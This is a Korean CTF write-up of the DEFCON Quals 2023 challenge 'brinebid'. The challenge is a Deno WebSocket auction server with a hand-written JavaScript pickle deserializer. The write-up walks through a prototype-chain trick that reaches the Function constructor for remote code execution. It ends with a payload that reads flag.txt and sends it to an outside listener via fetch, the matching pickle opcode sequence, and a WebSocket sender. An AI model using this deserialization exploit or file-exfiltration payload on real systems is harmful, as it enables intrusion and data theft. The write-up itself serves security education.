1. Overview
2. Analysis
2-1. Websocket Server
2-2. Request
2-3. 상속 구현
3. Exploit
brinebid
는 DEFCON Quals 2023에 출제된 문제입니다. Deno JS로 만든 WebSocket 서버를 백엔드로 사용하고 있고 python의 pickle을 JS로 직접 구현하여 파이썬 클라이언트와 통신을 하고 있는 경매 플랫폼입니다.
window.wss = new WebSocketServer(PORT);
wss.on("connection", function (ws) {
const pws = new PickleWebsocket(ws);
window.current_client = pws;
ws.on("message", function (message) {
try {
pws.process(message);
} catch (e) {
console.error(e);
pws.send(Exception([e.toString()]));
}
});
});
문제에서는 파이썬 클라이언트와 통신하기 위해 Websocket 서버를 엽니다. 그리고 메시지를 받으면 PickleWebsocket
로 넘겨줍니다.
class PickleWebsocket {
constructor(ws) {
this.ws = ws;
}
send(obj) {
const out = Pickler.pickle(obj);
this.ws.send(out);
}
process(message) {
let struct = Unpickler.unpickle(message, "base64");
if (struct instanceof Message) {
struct = struct.body;
}
if (struct instanceof Request) {
struct.process(this);
} else {
this.send(Exception(["Invalid request"]));
}
}
ws;
}
PickleWebsocket
에서는Unpickler.unpickle
을 통해 피클 역직렬화를 하고 처리를 합니다.
Request의 종류에는 위와 같은 것들이 있고 프로토타입에 process를 구현했습니다.
// ex
AuctionInfoRequest.prototype.process = async function (ws) {
...
};
Javascript는 ES6부터 class 관련 기능이 추가되면서 extends를 쓸 수 있게 되었습니다.
하지만 이 문제에서는 class를 쓰지 않고 function을 이용해 class를 구현했고 해당 과정에서 상속을 위한 super_constructor
함수를 만들어 사용하고 있습니다.
// super_constructor를 이용한 코드
function AuctionInfoRequest(args) {
var _this = this;
_this = super_constructor(this, AuctionInfoRequest, args);
return _this;
}
// **프로토타입 체이닝**
Object.setPrototypeOf(AuctionInfoRequest.prototype, Request.prototype);
PICKLE_GLOBAL_SCOPE["__main__.AuctionInfoRequest"] = AuctionInfoRequest;
AuctionInfoRequest.prototype.process = async function (ws) {
...
};
super_constructor
에서는 체이닝한 부모 클래스의 프로토타입을 가져와 객체를 생성 합니다.
function super_constructor(_this, clazz, ...args) {
if (!clazz.prototype) return _this;
if (!_this) {
_this = Object.create(clazz.prototype);
}
let super_class = Object.getPrototypeOf(clazz.prototype);
if (!super_class || !super_class.constructor) return _this;
var res;
res = super_class.constructor.call(_this, ...args);
if (res && res !== _this) {
Object.setPrototypeOf(res, clazz.prototype);
return res;
}
return _this;
}
prototype의 constructor와 생성자가 같기 때문에 super_class가 prototype이어도 됩니다.
+ 최상위 클래스인 Memory에서는 prototype이 Object로 설정되어 있어서 Object.constructor.call이 됩니다.
번들링된 서버 파일 main.bundle.js
를 보면 Deno.readTextFile
를 호출하는 여러 부분들이 있지만, 경로에 사용자 입력 문자열이 들어갈 수 없거나 하는 등의 이유로 저 부분은 사용이 불가능 하다고 생각했습니다.
따라서 js로 구현된 pickle을 분석하게 되었습니다.
brinebid
는 prototype
과 super_constructor
를 이용해 상속이 구현되어있습니다.
Exception
은 함수이기 때문에 Exception.constructor
를 하게 되면 Function
를 얻어 RCE를 할 수 있게 됩니다. 하지만 피클에 특정 요소의 키를 가져오는 OPCODE가 없어 super_constructor
를 이용해야 합니다.
function super_constructor(_this, clazz, ...args) {
...
let super_class = Object.getPrototypeOf(clazz.prototype);
...
res = super_class.constructor.call(_this, ...args);
...
}
Exception.prototype = Exception
을 하게 된다면 clazz.prototype
은 Exception
이 될 것이고 Exception
은 함수라 super_class
에는 Function
의 prototype이 담기게 될 것 입니다..!
따라서 super_constructor
를 이용하여 함수를 만들 수 있게 됩니다.
function Exception(args) {
var _this = this;
_this = super_constructor(this, Exception, args);
return _this;
}
Object.setPrototypeOf(Exception.prototype, PythonObject.prototype);
PICKLE_GLOBAL_SCOPE["builtins.Exception"] = Exception;
// 문제의 Exception 선언 코드
Exception.prototype = Exception
Exception("fetch('http://localhost:9999/'+Deno.readTextFileSync('./flag.txt'))")()
위에서 설명했던 것대로 Exception.prototype = Exception
을 해주고 Exception
을 호출해주어 함수를 만들 수 있습니다.
굳이 Exception을 쓰지 않더라도 생성자에서 별 다른 일을 하지 않는 클래스라면 Exploit에 쓸 수 있습니다..!
Unpickler는 역직렬화 과정이 진행되며 오류가 뜹니다
OPCODE로 표현하면 아래와 같습니다.
[PICKLE_OP_BYTES.GLOBAL, "builtins\n", "Exception\n", PICKLE_OP_BYTES.UNICODE, "prototype\n", PICKLE_OP_BYTES.GLOBAL, "builtins\n", "Exception\n", PICKLE_OP_BYTES.SETITEM, PICKLE_OP_BYTES.UNICODE, "fetch('http://localhost:9999/'+Deno.readTextFileSync('./flag.txt'))\n", PICKLE_OP_BYTES.REDUCE, PICKLE_OP_BYTES.EMPTY_LIST, PICKLE_OP_BYTES.REDUCE, PICKLE_OP_BYTES.NONE]
저렇게 만든 페이로드를 WebSocket으로 서버에 보내주면 플래그를 얻을 수 있습니다
const ws = new WebSocket("ws://localhost:8080");
ws.onopen = () => {
ws.send(btoa(payload));
};